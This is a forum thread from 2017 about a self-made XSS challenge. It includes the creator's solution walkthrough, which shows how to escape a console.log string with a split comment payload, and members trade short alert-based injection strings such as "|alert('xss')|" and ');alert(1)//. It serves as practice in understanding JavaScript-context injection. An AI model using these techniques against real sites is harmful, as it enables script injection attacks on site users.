Feb 3, 2017 12:54 PM
(This post was last modified: Feb 3, 2017 02:52 PM by redlightrouter.)
Hello all,
I made a little XSS challenge that's pretty advanced, I think alot harder than the other one I made. ( https://hackforums.net/showthread.php?tid=5483982 )
It's different from the other one I made, but I don't want to spoil what's different ;).
Here is the link:
Quote:http://xsschallenge.coolpage.biz/xss2.php
I expect you guys to be sweet with this one ^^
ps. dont forget to pm me your vector.
Thanks Ryuga, for helping me not being dumb lol.
Good luck.
![[Image: c5aa4a1600ab49196c9ab83a053a5287.png]](https://i.gyazo.com/c5aa4a1600ab49196c9ab83a053a5287.png)
EDIT:
I've updated it alot. I'm now 80% sure other vector won't be possible than the one I had in mind.
~ easy one, ty.
goddamn, right when i have to go on a road trip :(
well, remember to leave some vectors open for me to give it a shot lmao
humble rubyist in a world of pythonistas
Feb 3, 2017 01:35 PM
(This post was last modified: Feb 3, 2017 01:35 PM by redlightrouter.)
(Feb 3, 2017 01:19 PM)Faith Connors Wrote: goddamn, right when i have to go on a road trip :(
well, remember to leave some vectors open for me to give it a shot lmao
Ofcourse Faith :). Enjoy your road trip.
Feb 5, 2017 02:02 PM
(This post was last modified: Feb 5, 2017 02:24 PM by Faith Connors.)
bumping back up for easy access
also just got home so lets give it a shot
without the php this would have been hard af dude lmao
but at least i actually kinda get whats going on so thanks for that i appreciate it lmao
Done:
humble rubyist in a world of pythonistas
Did the #1 as well ..
Feb 7, 2017 07:49 PM
(This post was last modified: Feb 8, 2017 11:21 AM by redlightrouter.)
(Feb 6, 2017 10:47 AM)Ryuga Wrote: Did the #1 as well ..
![[Image: bPjSP4w.png]](https://i.imgur.com/bPjSP4w.png)
Nice! That one was fairly easy if you understand javascript. Many people here only understand common xss payloads, thats why I made the challenge.
Also, I have to say that you're pretty dang good with xss. Keep it up :).
Well I think it's time for the solution since I was pretty bitchy about this one (sorry about that 😏)
Here it is (includes images):
when opening the site you see you have to enter 2 vectors to suceed.
![[Image: b1d7c4675c46aeade7ec3722fcd26e0f.png]](https://i.gyazo.com/b1d7c4675c46aeade7ec3722fcd26e0f.png)
If you inspect the source you see that user input gets console logged.
![[Image: fc3811e52e778112b468906366649dbe.png]](https://i.gyazo.com/fc3811e52e778112b468906366649dbe.png)
As shown on the page the query to console log looks like PHP Code
<?php console.log("Hi"); console.log("Hi");
To escape this we need to enter ");.
The query will look like this
PHP Code
<?php console.log("");"); console.log("");
This will cause nothing more than an error.
To get an alert box we obviously need to place alert() behind it, but that will still cause an error since the script tries to close an already closed function.
So we have to comment that out, but since // is filtered we must use /*
PHP Code
<?php console.log("");alert();/*"); console.log("");
At first you'd think that this is ok, and the challenge should be done. Nope, this will (again) cause an error, because you have to end the multi-line comment.
This is where the second input comes in. To end a multi-line comment you have to insert */
PHP Code
<?php console.log("");alert();/*"); console.log("*/");
This also will cause an error, because the scripts tries to close the already closed function.
Since we injected our own function we can use that unexpected ending for an expected ending (if that even is a thing lol)
PHP Code
<?php console.log("");alert;/*"); console.log("*/("xss");
So the end result will look like this:
PHP Code
<?php console.log("");alert/*"); console.log("*/("xss");
//Executed code console.log(""); alert("xss");
//Payload: )"alert/* */("xss
![[Image: 8ed7e57b88b341c6641c5c33af958a40.png]](https://i.gyazo.com/8ed7e57b88b341c6641c5c33af958a40.png)
I'd like to thank you all for participating in this challenge. I've learned some new payloads by making these challenges and I hope I learned you some new things aswell.
found a new vector but dont want u to patch it zzzzz feelsbad lmao
whatever, these are training me to get better so thx bby <3
humble rubyist in a world of pythonistas
Well done! 🙂 - btw this is one of the shortest payload(s) to alert 'xss' ✌
Quote:"|alert('xss')|"
(Feb 8, 2017 12:05 AM)Ryuga Wrote: Well done! 🙂 - btw this is one of the shortest payload(s) to alert 'xss' ✌
goddamn youre better than js than me lmao
mine was maybe twice as long, involved newlines
humble rubyist in a world of pythonistas
(Feb 8, 2017 05:39 AM)Faith Connors Wrote: goddamn youre better than js than me lmao
mine was maybe twice as long, involved newlines
Thanks but tbh, I'm not good at js, I'm still trying to learn it .. here's what you should (or I try when trying to XSS in such context) ..
Quote:Arithmetic Operators
Comparison and Logical Operators
Bitwise Operators
and of course, closing teh "thing" and commenting out/balancing the line! ');alert(1)//
🎉
Feb 8, 2017 11:10 AM
(This post was last modified: Feb 8, 2017 11:18 AM by redlightrouter.)
(Feb 8, 2017 12:05 AM)Ryuga Wrote: Well done! 🙂 - btw this is one of the shortest payload(s) to alert 'xss' ✌
Dude stop bypassing and making me feel bad 😟
Jk, I love learning by your payloads. You see I'm not the best in scripting so I'll miss a lot of things that could bypass it. I won't patch anything from now on btw.
(Feb 7, 2017 08:56 PM)Faith Connors Wrote: found a new vector but dont want u to patch it zzzzz feelsbad lmao
whatever, these are training me to get better so thx bby <3
No problem. Glad you're enjoying these challenges ;)
(Feb 9, 2017 08:36 PM)suffixor Wrote: What I ended up with.
Nice! After Ryuga bypassed this numerous times I also came up with
"/alert()/"
|